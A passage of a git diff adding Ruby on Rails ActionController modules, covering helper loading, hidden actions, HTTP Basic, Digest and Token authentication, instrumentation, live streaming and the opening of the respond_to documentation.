+ # * <tt>attrs</tt> - Names of attributes to be converted into helpers.
+ def helper_attr(*attrs)
+ attrs.flatten.each { |attr| helper_method(attr, "#{attr}=") }
+ end
+
+ # Provides a proxy to access helpers methods from outside the view.
+ def helpers
+ @helper_proxy ||= ActionView::Base.new.extend(_helpers)
+ end
+
+ # Overwrite modules_for_helpers to accept :all as argument, which loads
+ # all helpers in helpers_path.
+ #
+ # ==== Parameters
+ # * <tt>args</tt> - A list of helpers
+ #
+ # ==== Returns
+ # * <tt>array</tt> - A normalized list of modules for the list of helpers provided.
+ def modules_for_helpers(args)
+ args += all_application_helpers if args.delete(:all)
+ super(args)
+ end
+
+ def all_helpers_from_path(path)
+ helpers = Array(path).flat_map do |_path|
+ extract = /^#{Regexp.quote(_path.to_s)}\/?(.*)_helper.rb$/
+ names = Dir["#{_path}/**/*_helper.rb"].map { |file| file.sub(extract, '\1') }
+ names.sort!
+ end
+ helpers.uniq!
+ helpers
+ end
+
+ private
+ # Extract helper names from files in <tt>app/helpers/**/*_helper.rb</tt>
+ def all_application_helpers
+ all_helpers_from_path(helpers_path)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/hide_actions.rb b/actionpack/lib/action_controller/metal/hide_actions.rb
new file mode 100644
index 0000000..af36ffa
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/hide_actions.rb
@@ -0,0 +1,40 @@
+
+module ActionController
+ # Adds the ability to prevent public methods on a controller to be called as actions.
+ module HideActions
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :hidden_actions
+ self.hidden_actions = Set.new.freeze
+ end
+
+ private
+
+ # Overrides AbstractController::Base#action_method? to return false if the
+ # action name is in the list of hidden actions.
+ def method_for_action(action_name)
+ self.class.visible_action?(action_name) && super
+ end
+
+ module ClassMethods
+ # Sets all of the actions passed in as hidden actions.
+ #
+ # ==== Parameters
+ # * <tt>args</tt> - A list of actions
+ def hide_action(*args)
+ self.hidden_actions = hidden_actions.dup.merge(args.map(&:to_s)).freeze
+ end
+
+ def visible_action?(action_name)
+ not hidden_actions.include?(action_name)
+ end
+
+ # Overrides AbstractController::Base#action_methods to remove any methods
+ # that are listed as hidden methods.
+ def action_methods
+ @action_methods ||= Set.new(super.reject { |name| hidden_actions.include?(name) }).freeze
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb
new file mode 100644
index 0000000..158d552
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/http_authentication.rb
@@ -0,0 +1,490 @@
+require 'base64'
+
+module ActionController
+ # Makes it dead easy to do HTTP Basic, Digest and Token authentication.
+ module HttpAuthentication
+ # Makes it dead easy to do HTTP \Basic authentication.
+ #
+ # === Simple \Basic example
+ #
+ # class PostsController < ApplicationController
+ # http_basic_authenticate_with name: "dhh", password: "secret", except: :index
+ #
+ # def index
+ # render text: "Everyone can see me!"
+ # end
+ #
+ # def edit
+ # render text: "I'm only accessible if you know the password"
+ # end
+ # end
+ #
+ # === Advanced \Basic example
+ #
+ # Here is a more advanced \Basic example where only Atom feeds and the XML API is protected by HTTP authentication,
+ # the regular HTML interface is protected by a session approach:
+ #
+ # class ApplicationController < ActionController::Base
+ # before_action :set_account, :authenticate
+ #
+ # protected
+ # def set_account
+ # @account = Account.find_by(url_name: request.subdomains.first)
+ # end
+ #
+ # def authenticate
+ # case request.format
+ # when Mime::XML, Mime::ATOM
+ # if user = authenticate_with_http_basic { |u, p| @account.users.authenticate(u, p) }
+ # @current_user = user
+ # else
+ # request_http_basic_authentication
+ # end
+ # else
+ # if session_authenticated?
+ # @current_user = @account.users.find(session[:authenticated][:user_id])
+ # else
+ # redirect_to(login_url) and return false
+ # end
+ # end
+ # end
+ # end
+ #
+ # In your integration tests, you can do something like this:
+ #
+ # def test_access_granted_from_xml
+ # get(
+ # "/notes/1.xml", nil,
+ # 'HTTP_AUTHORIZATION' => ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
+ # )
+ #
+ # assert_equal 200, status
+ # end
+ module Basic
+ extend self
+
+ module ControllerMethods
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ def http_basic_authenticate_with(options = {})
+ before_action(options.except(:name, :password, :realm)) do
+ authenticate_or_request_with_http_basic(options[:realm] || "Application") do |name, password|
+ name == options[:name] && password == options[:password]
+ end
+ end
+ end
+ end
+
+ def authenticate_or_request_with_http_basic(realm = "Application", &login_procedure)
+ authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm)
+ end
+
+ def authenticate_with_http_basic(&login_procedure)
+ HttpAuthentication::Basic.authenticate(request, &login_procedure)
+ end
+
+ def request_http_basic_authentication(realm = "Application")
+ HttpAuthentication::Basic.authentication_request(self, realm)
+ end
+ end
+
+ def authenticate(request, &login_procedure)
+ unless request.authorization.blank?
+ login_procedure.call(*user_name_and_password(request))
+ end
+ end
+
+ def user_name_and_password(request)
+ decode_credentials(request).split(/:/, 2)
+ end
+
+ def decode_credentials(request)
+ ::Base64.decode64(request.authorization.split(' ', 2).last || '')
+ end
+
+ def encode_credentials(user_name, password)
+ "Basic #{::Base64.strict_encode64("#{user_name}:#{password}")}"
+ end
+
+ def authentication_request(controller, realm)
+ controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.gsub(/"/, "")}")
+ controller.response_body = "HTTP Basic: Access denied.\n"
+ controller.status = 401
+ end
+ end
+
+ # Makes it dead easy to do HTTP \Digest authentication.
+ #
+ # === Simple \Digest example
+ #
+ # require 'digest/md5'
+ # class PostsController < ApplicationController
+ # REALM = "SuperSecret"
+ # USERS = {"dhh" => "secret", #plain text password
+ # "dap" => Digest::MD5.hexdigest(["dap",REALM,"secret"].join(":"))} #ha1 digest password
+ #
+ # before_action :authenticate, except: [:index]
+ #
+ # def index
+ # render text: "Everyone can see me!"
+ # end
+ #
+ # def edit
+ # render text: "I'm only accessible if you know the password"
+ # end
+ #
+ # private
+ # def authenticate
+ # authenticate_or_request_with_http_digest(REALM) do |username|
+ # USERS[username]
+ # end
+ # end
+ # end
+ #
+ # === Notes
+ #
+ # The +authenticate_or_request_with_http_digest+ block must return the user's password
+ # or the ha1 digest hash so the framework can appropriately hash to check the user's
+ # credentials. Returning +nil+ will cause authentication to fail.
+ #
+ # Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If
+ # the password file or database is compromised, the attacker would be able to use the ha1 hash to
+ # authenticate as the user at this +realm+, but would not have the user's password to try using at
+ # other sites.
+ #
+ # In rare instances, web servers or front proxies strip authorization headers before
+ # they reach your application. You can debug this situation by logging all environment
+ # variables, and check for HTTP_AUTHORIZATION, amongst others.
+ module Digest
+ extend self
+
+ module ControllerMethods
+ def authenticate_or_request_with_http_digest(realm = "Application", &password_procedure)
+ authenticate_with_http_digest(realm, &password_procedure) || request_http_digest_authentication(realm)
+ end
+
+ # Authenticate with HTTP Digest, returns true or false
+ def authenticate_with_http_digest(realm = "Application", &password_procedure)
+ HttpAuthentication::Digest.authenticate(request, realm, &password_procedure)
+ end
+
+ # Render output including the HTTP Digest authentication header
+ def request_http_digest_authentication(realm = "Application", message = nil)
+ HttpAuthentication::Digest.authentication_request(self, realm, message)
+ end
+ end
+
+ # Returns false on a valid response, true otherwise
+ def authenticate(request, realm, &password_procedure)
+ request.authorization && validate_digest_response(request, realm, &password_procedure)
+ end
+
+ # Returns false unless the request credentials response value matches the expected value.
+ # First try the password as a ha1 digest password. If this fails, then try it as a plain
+ # text password.
+ def validate_digest_response(request, realm, &password_procedure)
+ secret_key = secret_token(request)
+ credentials = decode_credentials_header(request)
+ valid_nonce = validate_nonce(secret_key, request, credentials[:nonce])
+
+ if valid_nonce && realm == credentials[:realm] && opaque(secret_key) == credentials[:opaque]
+ password = password_procedure.call(credentials[:username])
+ return false unless password
+
+ method = request.env['rack.methodoverride.original_method'] || request.env['REQUEST_METHOD']
+ uri = credentials[:uri]
+
+ [true, false].any? do |trailing_question_mark|
+ [true, false].any? do |password_is_ha1|
+ _uri = trailing_question_mark ? uri + "?" : uri
+ expected = expected_response(method, _uri, credentials, password, password_is_ha1)
+ expected == credentials[:response]
+ end
+ end
+ end
+ end
+
+ # Returns the expected response for a request of +http_method+ to +uri+ with the decoded +credentials+ and the expected +password+
+ # Optional parameter +password_is_ha1+ is set to +true+ by default, since best practice is to store ha1 digest instead
+ # of a plain-text password.
+ def expected_response(http_method, uri, credentials, password, password_is_ha1=true)
+ ha1 = password_is_ha1 ? password : ha1(credentials, password)
+ ha2 = ::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(':'))
+ ::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(':'))
+ end
+
+ def ha1(credentials, password)
+ ::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(':'))
+ end
+
+ def encode_credentials(http_method, credentials, password, password_is_ha1)
+ credentials[:response] = expected_response(http_method, credentials[:uri], credentials, password, password_is_ha1)
+ "Digest " + credentials.sort_by {|x| x[0].to_s }.map {|v| "#{v[0]}='#{v[1]}'" }.join(', ')
+ end
+
+ def decode_credentials_header(request)
+ decode_credentials(request.authorization)
+ end
+
+ def decode_credentials(header)
+ ActiveSupport::HashWithIndifferentAccess[header.to_s.gsub(/^Digest\s+/, '').split(',').map do |pair|
+ key, value = pair.split('=', 2)
+ [key.strip, value.to_s.gsub(/^"|"$/,'').delete('\'')]
+ end]
+ end
+
+ def authentication_header(controller, realm)
+ secret_key = secret_token(controller.request)
+ nonce = self.nonce(secret_key)
+ opaque = opaque(secret_key)
+ controller.headers["WWW-Authenticate"] = %(Digest realm="#{realm}", qop="auth", algorithm=MD5, nonce="#{nonce}", opaque="#{opaque}")
+ end
+
+ def authentication_request(controller, realm, message = nil)
+ message ||= "HTTP Digest: Access denied.\n"
+ authentication_header(controller, realm)
+ controller.response_body = message
+ controller.status = 401
+ end
+
+ def secret_token(request)
+ key_generator = request.env["action_dispatch.key_generator"]
+ http_auth_salt = request.env["action_dispatch.http_auth_salt"]
+ key_generator.generate_key(http_auth_salt)
+ end
+
+ # Uses an MD5 digest based on time to generate a value to be used only once.
+ #
+ # A server-specified data string which should be uniquely generated each time a 401 response is made.
+ # It is recommended that this string be base64 or hexadecimal data.
+ # Specifically, since the string is passed in the header lines as a quoted string, the double-quote character is not allowed.
+ #
+ # The contents of the nonce are implementation dependent.
+ # The quality of the implementation depends on a good choice.
+ # A nonce might, for example, be constructed as the base 64 encoding of
+ #
+ # time-stamp H(time-stamp ":" ETag ":" private-key)
+ #
+ # where time-stamp is a server-generated time or other non-repeating value,
+ # ETag is the value of the HTTP ETag header associated with the requested entity,
+ # and private-key is data known only to the server.
+ # With a nonce of this form a server would recalculate the hash portion after receiving the client authentication header and
+ # reject the request if it did not match the nonce from that header or
+ # if the time-stamp value is not recent enough. In this way the server can limit the time of the nonce's validity.
+ # The inclusion of the ETag prevents a replay request for an updated version of the resource.
+ # (Note: including the IP address of the client in the nonce would appear to offer the server the ability
+ # to limit the reuse of the nonce to the same client that originally got it.
+ # However, that would break proxy farms, where requests from a single user often go through different proxies in the farm.
+ # Also, IP address spoofing is not that hard.)
+ #
+ # An implementation might choose not to accept a previously used nonce or a previously used digest, in order to
+ # protect against a replay attack. Or, an implementation might choose to use one-time nonces or digests for
+ # POST, PUT, or PATCH requests and a time-stamp for GET requests. For more details on the issues involved see Section 4
+ # of this document.
+ #
+ # The nonce is opaque to the client. Composed of Time, and hash of Time with secret
+ # key from the Rails session secret generated upon creation of project. Ensures
+ # the time cannot be modified by client.
+ def nonce(secret_key, time = Time.now)
+ t = time.to_i
+ hashed = [t, secret_key]
+ digest = ::Digest::MD5.hexdigest(hashed.join(":"))
+ ::Base64.strict_encode64("#{t}:#{digest}")
+ end
+
+ # Might want a shorter timeout depending on whether the request
+ # is a PATCH, PUT, or POST, and if client is browser or web service.
+ # Can be much shorter if the Stale directive is implemented. This would
+ # allow a user to use new nonce without prompting user again for their
+ # username and password.
+ def validate_nonce(secret_key, request, value, seconds_to_timeout=5*60)
+ return false if value.nil?
+ t = ::Base64.decode64(value).split(":").first.to_i
+ nonce(secret_key, t) == value && (t - Time.now.to_i).abs <= seconds_to_timeout
+ end
+
+ # Opaque based on random generation - but changing each request?
+ def opaque(secret_key)
+ ::Digest::MD5.hexdigest(secret_key)
+ end
+
+ end
+
+ # Makes it dead easy to do HTTP Token authentication.
+ #
+ # Simple Token example:
+ #
+ # class PostsController < ApplicationController
+ # TOKEN = "secret"
+ #
+ # before_action :authenticate, except: [ :index ]
+ #
+ # def index
+ # render text: "Everyone can see me!"
+ # end
+ #
+ # def edit
+ # render text: "I'm only accessible if you know the password"
+ # end
+ #
+ # private
+ # def authenticate
+ # authenticate_or_request_with_http_token do |token, options|
+ # token == TOKEN
+ # end
+ # end
+ # end
+ #
+ #
+ # Here is a more advanced Token example where only Atom feeds and the XML API is protected by HTTP token authentication,
+ # the regular HTML interface is protected by a session approach:
+ #
+ # class ApplicationController < ActionController::Base
+ # before_action :set_account, :authenticate
+ #
+ # protected
+ # def set_account
+ # @account = Account.find_by(url_name: request.subdomains.first)
+ # end
+ #
+ # def authenticate
+ # case request.format
+ # when Mime::XML, Mime::ATOM
+ # if user = authenticate_with_http_token { |t, o| @account.users.authenticate(t, o) }
+ # @current_user = user
+ # else
+ # request_http_token_authentication
+ # end
+ # else
+ # if session_authenticated?
+ # @current_user = @account.users.find(session[:authenticated][:user_id])
+ # else
+ # redirect_to(login_url) and return false
+ # end
+ # end
+ # end
+ # end
+ #
+ #
+ # In your integration tests, you can do something like this:
+ #
+ # def test_access_granted_from_xml
+ # get(
+ # "/notes/1.xml", nil,
+ # 'HTTP_AUTHORIZATION' => ActionController::HttpAuthentication::Token.encode_credentials(users(:dhh).token)
+ # )
+ #
+ # assert_equal 200, status
+ # end
+ #
+ #
+ # On shared hosts, Apache sometimes doesn't pass authentication headers to
+ # FCGI instances. If your environment matches this description and you cannot
+ # authenticate, try this rule in your Apache setup:
+ #
+ # RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
+ module Token
+ TOKEN_REGEX = /^Token /
+ AUTHN_PAIR_DELIMITERS = /(?:,|;|\t+)/
+ extend self
+
+ module ControllerMethods
+ def authenticate_or_request_with_http_token(realm = "Application", &login_procedure)
+ authenticate_with_http_token(&login_procedure) || request_http_token_authentication(realm)
+ end
+
+ def authenticate_with_http_token(&login_procedure)
+ Token.authenticate(self, &login_procedure)
+ end
+
+ def request_http_token_authentication(realm = "Application")
+ Token.authentication_request(self, realm)
+ end
+ end
+
+ # If token Authorization header is present, call the login
+ # procedure with the present token and options.
+ #
+ # [controller]
+ # ActionController::Base instance for the current request.
+ #
+ # [login_procedure]
+ # Proc to call if a token is present. The Proc should take two arguments:
+ #
+ # authenticate(controller) { |token, options| ... }
+ #
+ # Returns the return value of <tt>login_procedure</tt> if a
+ # token is found. Returns <tt>nil</tt> if no token is found.
+
+ def authenticate(controller, &login_procedure)
+ token, options = token_and_options(controller.request)
+ unless token.blank?
+ login_procedure.call(token, options)
+ end
+ end
+
+ # Parses the token and options out of the token authorization header. If
+ # the header looks like this:
+ # Authorization: Token token="abc", nonce="def"
+ # Then the returned token is "abc", and the options is {nonce: "def"}
+ #
+ # request - ActionDispatch::Request instance with the current headers.
+ #
+ # Returns an Array of [String, Hash] if a token is present.
+ # Returns nil if no token is found.
+ def token_and_options(request)
+ authorization_request = request.authorization.to_s
+ if authorization_request[TOKEN_REGEX]
+ params = token_params_from authorization_request
+ [params.shift.last, Hash[params].with_indifferent_access]
+ end
+ end
+
+ def token_params_from(auth)
+ rewrite_param_values params_array_from raw_params auth
+ end
+
+ # Takes raw_params and turns it into an array of parameters
+ def params_array_from(raw_params)
+ raw_params.map { |param| param.split %r/=(.+)?/ }
+ end
+
+ # This removes the `"` characters wrapping the value.
+ def rewrite_param_values(array_params)
+ array_params.each { |param| param.last.gsub! %r/^"|"$/, '' }
+ end
+
+ # This method takes an authorization body and splits up the key-value
+ # pairs by the standardized `:`, `;`, or `\t` delimiters defined in
+ # `AUTHN_PAIR_DELIMITERS`.
+ def raw_params(auth)
+ auth.sub(TOKEN_REGEX, '').split(/"\s*#{AUTHN_PAIR_DELIMITERS}\s*/)
+ end
+
+ # Encodes the given token and options into an Authorization header value.
+ #
+ # token - String token.
+ # options - optional Hash of the options.
+ #
+ # Returns String.
+ def encode_credentials(token, options = {})
+ values = ["token=#{token.to_s.inspect}"] + options.map do |key, value|
+ "#{key}=#{value.to_s.inspect}"
+ end
+ "Token #{values * ", "}"
+ end
+
+ # Sets a WWW-Authenticate to let the client know a token is desired.
+ #
+ # controller - ActionController::Base instance for the outgoing response.
+ # realm - String realm to use in the header.
+ #
+ # Returns nothing.
+ def authentication_request(controller, realm)
+ controller.headers["WWW-Authenticate"] = %(Token realm="#{realm.gsub(/"/, "")}")
+ controller.__send__ :render, :text => "HTTP Token: Access denied.\n", :status => :unauthorized
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/implicit_render.rb b/actionpack/lib/action_controller/metal/implicit_render.rb
new file mode 100644
index 0000000..ae04b53
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/implicit_render.rb
@@ -0,0 +1,19 @@
+module ActionController
+ module ImplicitRender
+ def send_action(method, *args)
+ ret = super
+ default_render unless performed?
+ ret
+ end
+
+ def default_render(*args)
+ render(*args)
+ end
+
+ def method_for_action(action_name)
+ super || if template_exists?(action_name.to_s, _prefixes)
+ "default_render"
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
new file mode 100644
index 0000000..d3aa8f9
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -0,0 +1,106 @@
+require 'benchmark'
+require 'abstract_controller/logger'
+
+module ActionController
+ # Adds instrumentation to several ends in ActionController::Base. It also provides
+ # some hooks related with process_action, this allows an ORM like Active Record
+ # and/or DataMapper to plug in ActionController and show related information.
+ #
+ # Check ActiveRecord::Railties::ControllerRuntime for an example.
+ module Instrumentation
+ extend ActiveSupport::Concern
+
+ include AbstractController::Logger
+ include ActionController::RackDelegation
+
+ attr_internal :view_runtime
+
+ def process_action(*args)
+ raw_payload = {
+ :controller => self.class.name,
+ :action => self.action_name,
+ :params => request.filtered_parameters,
+ :format => request.format.try(:ref),
+ :method => request.method,
+ :path => (request.fullpath rescue "unknown")
+ }
+
+ ActiveSupport::Notifications.instrument("start_processing.action_controller", raw_payload.dup)
+
+ ActiveSupport::Notifications.instrument("process_action.action_controller", raw_payload) do |payload|
+ result = super
+ payload[:status] = response.status
+ append_info_to_payload(payload)
+ result
+ end
+ end
+
+ def render(*args)
+ render_output = nil
+ self.view_runtime = cleanup_view_runtime do
+ Benchmark.ms { render_output = super }
+ end
+ render_output
+ end
+
+ def send_file(path, options={})
+ ActiveSupport::Notifications.instrument("send_file.action_controller",
+ options.merge(:path => path)) do
+ super
+ end
+ end
+
+ def send_data(data, options = {})
+ ActiveSupport::Notifications.instrument("send_data.action_controller", options) do
+ super
+ end
+ end
+
+ def redirect_to(*args)
+ ActiveSupport::Notifications.instrument("redirect_to.action_controller") do |payload|
+ result = super
+ payload[:status] = response.status
+ payload[:location] = response.filtered_location
+ result
+ end
+ end
+
+ private
+
+ # A hook invoked everytime a before callback is halted.
+ def halted_callback_hook(filter)
+ ActiveSupport::Notifications.instrument("halted_callback.action_controller", :filter => filter)
+ end
+
+ # A hook which allows you to clean up any time taken into account in
+ # views wrongly, like database querying time.
+ #
+ # def cleanup_view_runtime
+ # super - time_taken_in_something_expensive
+ # end
+ #
+ # :api: plugin
+ def cleanup_view_runtime #:nodoc:
+ yield
+ end
+
+ # Every time after an action is processed, this method is invoked
+ # with the payload, so you can add more information.
+ # :api: plugin
+ def append_info_to_payload(payload) #:nodoc:
+ payload[:view_runtime] = view_runtime
+ end
+
+ module ClassMethods
+ # A hook which allows other frameworks to log what happened during
+ # controller process action. This method should return an array
+ # with the messages to be added.
+ # :api: plugin
+ def log_process_action(payload) #:nodoc:
+ messages, view_runtime = [], payload[:view_runtime]
+ messages << ("Views: %.1fms" % view_runtime.to_f) if view_runtime
+ messages
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb
new file mode 100644
index 0000000..8092fd6
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/live.rb
@@ -0,0 +1,175 @@
+require 'action_dispatch/http/response'
+require 'delegate'
+
+module ActionController
+ # Mix this module in to your controller, and all actions in that controller
+ # will be able to stream data to the client as it's written.
+ #
+ # class MyController < ActionController::Base
+ # include ActionController::Live
+ #
+ # def stream
+ # response.headers['Content-Type'] = 'text/event-stream'
+ # 100.times {
+ # response.stream.write "hello world\n"
+ # sleep 1
+ # }
+ # ensure
+ # response.stream.close
+ # end
+ # end
+ #
+ # There are a few caveats with this use. You *cannot* write headers after the
+ # response has been committed (Response#committed? will return truthy).
+ # Calling +write+ or +close+ on the response stream will cause the response
+ # object to be committed. Make sure all headers are set before calling write
+ # or close on your stream.
+ #
+ # You *must* call close on your stream when you're finished, otherwise the
+ # socket may be left open forever.
+ #
+ # The final caveat is that your actions are executed in a separate thread than
+ # the main thread. Make sure your actions are thread safe, and this shouldn't
+ # be a problem (don't share state across threads, etc).
+ module Live
+ class Buffer < ActionDispatch::Response::Buffer #:nodoc:
+ def initialize(response)
+ @error_callback = nil
+ super(response, SizedQueue.new(10))
+ end
+
+ def write(string)
+ unless @response.committed?
+ @response.headers["Cache-Control"] = "no-cache"
+ @response.headers.delete "Content-Length"
+ end
+
+ super
+ end
+
+ def each
+ while str = @buf.pop
+ yield str
+ end
+ end
+
+ def close
+ super
+ @buf.push nil
+ end
+
+ def on_error(&block)
+ @error_callback = block
+ end
+
+ def call_on_error
+ @error_callback.call
+ end
+ end
+
+ class Response < ActionDispatch::Response #:nodoc: all
+ class Header < DelegateClass(Hash)
+ def initialize(response, header)
+ @response = response
+ super(header)
+ end
+
+ def []=(k,v)
+ if @response.committed?
+ raise ActionDispatch::IllegalStateError, 'header already sent'
+ end
+
+ super
+ end
+
+ def merge(other)
+ self.class.new @response, __getobj__.merge(other)
+ end
+
+ def to_hash
+ __getobj__.dup
+ end
+ end
+
+ def commit!
+ headers.freeze
+ super
+ end
+
+ private
+
+ def build_buffer(response, body)
+ buf = Live::Buffer.new response
+ body.each { |part| buf.write part }
+ buf
+ end
+
+ def merge_default_headers(original, default)
+ Header.new self, super
+ end
+
+ def handle_conditional_get!
+ super unless committed?
+ end
+ end
+
+ def process(name)
+ t1 = Thread.current
+ locals = t1.keys.map { |key| [key, t1[key]] }
+
+ # This processes the action in a child thread. It lets us return the
+ # response code and headers back up the rack stack, and still process
+ # the body in parallel with sending data to the client
+ Thread.new {
+ t2 = Thread.current
+ t2.abort_on_exception = true
+
+ # Since we're processing the view in a different thread, copy the
+ # thread locals from the main thread to the child thread. :'(
+ locals.each { |k,v| t2[k] = v }
+
+ begin
+ super(name)
+ rescue => e
+ begin
+ @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
+ @_response.stream.call_on_error
+ rescue => exception
+ log_error(exception)
+ ensure
+ log_error(e)
+ @_response.stream.close
+ end
+ ensure
+ @_response.commit!
+ end
+ }
+
+ @_response.await_commit
+ end
+
+ def log_error(exception)
+ logger = ActionController::Base.logger
+ return unless logger
+
+ message = "\n#{exception.class} (#{exception.message}):\n"
+ message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+ message << " " << exception.backtrace.join("\n ")
+ logger.fatal("#{message}\n\n")
+ end
+
+ def response_body=(body)
+ super
+ response.stream.close if response
+ end
+
+ def set_response!(request)
+ if request.env["HTTP_VERSION"] == "HTTP/1.0"
+ super
+ else
+ @_response = Live::Response.new
+ @_response.request = request
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
new file mode 100644
index 0000000..834d44f
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -0,0 +1,431 @@
+require 'active_support/core_ext/array/extract_options'
+require 'abstract_controller/collector'
+
+module ActionController #:nodoc:
+ module MimeResponds
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :responder, :mimes_for_respond_to
+ self.responder = ActionController::Responder
+ clear_respond_to
+ end
+
+ module ClassMethods
+ # Defines mime types that are rendered by default when invoking
+ # <tt>respond_with</tt>.
+ #
+ # respond_to :html, :xml, :json
+ #
+ # Specifies that all actions in the controller respond to requests
+ # for <tt>:html</tt>, <tt>:xml</tt> and <tt>:json</tt>.
+ #
+ # To specify on per-action basis, use <tt>:only</tt> and
+ # <tt>:except</tt> with an array of actions or a single action:
+ #
+ # respond_to :html
+ # respond_to :xml, :json, except: [ :edit ]
+ #
+ # This specifies that all actions respond to <tt>:html</tt>
+ # and all actions except <tt>:edit</tt> respond to <tt>:xml</tt> and
+ # <tt>:json</tt>.
+ #
+ # respond_to :json, only: :create
+ #
+ # This specifies that the <tt>:create</tt> action and no other responds
+ # to <tt>:json</tt>.
+ def respond_to(*mimes)
+ options = mimes.extract_options!
+
+ only_actions = Array(options.delete(:only)).map(&:to_s)
+ except_actions = Array(options.delete(:except)).map(&:to_s)
+
+ new = mimes_for_respond_to.dup
+ mimes.each do |mime|
+ mime = mime.to_sym
+ new[mime] = {}
+ new[mime][:only] = only_actions unless only_actions.empty?
+ new[mime][:except] = except_actions unless except_actions.empty?
+ end
+ self.mimes_for_respond_to = new.freeze
+ end
+
+ # Clear all mime types in <tt>respond_to</tt>.
+ #
+ def clear_respond_to
+ self.mimes_for_respond_to = Hash.new.freeze
+ end
+ end
+
+ # Without web-service support, an action which collects the data for displaying a list of people
+ # might look something like this:
+ #
+ # def index
+ # @people = Person.all
+ # end
+ #
+ # Here's the same action, with web-service support baked in:
+ #
+ # def index
+ # @people = Person.all
+ #
+ # respond_to do |format|
+ # format.html
+ # format.xml { render xml: @people }
+ # end
+ # end
+ #
+ # What that says is, "if the client wants HTML in response to this action, just respond as we
+ # would have before, but if the client wants XML, return them the list of people in XML format."
+ # (Rails determines the desired response format from the HTTP Accept header submitted by the client.)
+ #
+ # Supposing you have an action that adds a new person, optionally creating their company
+ # (by name) if it does not already exist, without web-services, it might look like this:
+ #
+ # def create
+ # @company = Company.find_or_create_by(name: params[:company][:name])
+ # @person = @company.people.create(params[:person])
+ #
+ # redirect_to(person_list_url)
+ # end
+ #
+ # Here's the same action, with web-service support baked in:
+ #
+ # def create
+ # company = params[:person].delete(:company)
+ # @company = Company.find_or_create_by(name: company[:name])
+ # @person = @company.people.create(params[:person])
+ #
+ # respond_to do |format|
+ # format.html { redirect_to(person_list_url) }
+ # format.js
+ # format.xml { render xml: @person.to_xml(include: @company) }
+ # end
+ # end
+ #
+ # If the client wants HTML, we just redirect them back to the person list. If they want JavaScript,
+ # then it is an Ajax request and we render the JavaScript template associated with this action.
+ # Lastly, if the client wants XML, we render the created person as XML, but with a twist: we also
+ # include the person's company in the rendered XML, so you get something like this:
+ #
+ # <person>
+ # <id>...</id>
+ # ...
+ # <company>
+ # <id>...</id>
+ # <name>...</name>
+ # ...
+ # </company>
+ # </person>
+ #
+ # Note, however, the extra bit at the top of that action:
+ #
+ # company = params[:person].delete(:company)
+ # @company = Company.find_or_create_by(name: company[:name])
+ #
+ # This is because the incoming XML document (if a web-service request is in process) can only contain a
+ # single root-node. So, we have to rearrange things so that the request looks like this (url-encoded):
+ #
+ # person[name]=...&person[company][name]=...&...
+ #
+ # And, like this (xml-encoded):
+ #
+ # <person>
+ # <name>...</name>
+ # <company>
+ # <name>...</name>
+ # </company>
+ # </person>
+ #
+ # In other words, we make the request so that it operates on a single entity's person. Then, in the action,
+ # we extract the company data from the request, find or create the company, and then create the new person
+ # with the remaining data.
+ #
+ # Note that you can define your own XML parameter parser which would allow you to describe multiple entities
+ # in a single request (i.e., by wrapping them all in a single root node), but if you just go with the flow
+ # and accept Rails' defaults, life will be much easier.
+ #
+ # If you need to use a MIME type which isn't supported by default, you can register your own handlers in
+ # config/initializers/mime_types.rb as follows.
+ #
+ # Mime::Type.register "image/jpg", :jpg
+ #
+ # Respond to also allows you to specify a common block for different formats by using any:
+ #
+ # def index
+ # @people = Person.all
+ #
+ # respond_to do |format|
+ # format.html
+ # format.any(:xml, :json) { render request.format.to_sym => @people }
+ # end
+ # end
+ #
+ # In the example above, if the format is xml, it will render:
+ #
+ # render xml: @people
+ #
+ # Or if the format is json:
+ #
+ # render json: @people
+ #
+ # Since this is a common pattern, you can use the class method respond_to
+ # with the respond_with method to have the same results:
+ #
+ # class PeopleController < ApplicationController
+ # respond_to :html, :xml, :json
+ #
+ # def index
+ # @people = Person.all
+ # respond_with(@people)
+ # end
+ # end
+ #
+ # Be sure to check the documentation of +respond_with+ and
+ # <tt>ActionController::MimeResponds.respond_to</tt> for more examples.
+ def respond_to(*mimes, &block)
+ raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
+
+ if collector = retrieve_collector_from_mimes(mimes, &block)
+ response = collector.response
+ response ? response.call : render({})
+ end
+ end
+
+ # For a given controller action, respond_with generates an appropriate
+ # response based on the mime-type requested by the client.
+ #
+ # If the method is called with just a resource, as in this example -
+ #
+ # class PeopleController < ApplicationController
+ # respond_to :html, :xml, :json
+ #
+ # def index
+ # @people = Person.all
+ # respond_with @people
+ # end
+ # end
+ #
+ # then the mime-type of the response is typically selected based on the
+ # request's Accept header and the set of available formats declared
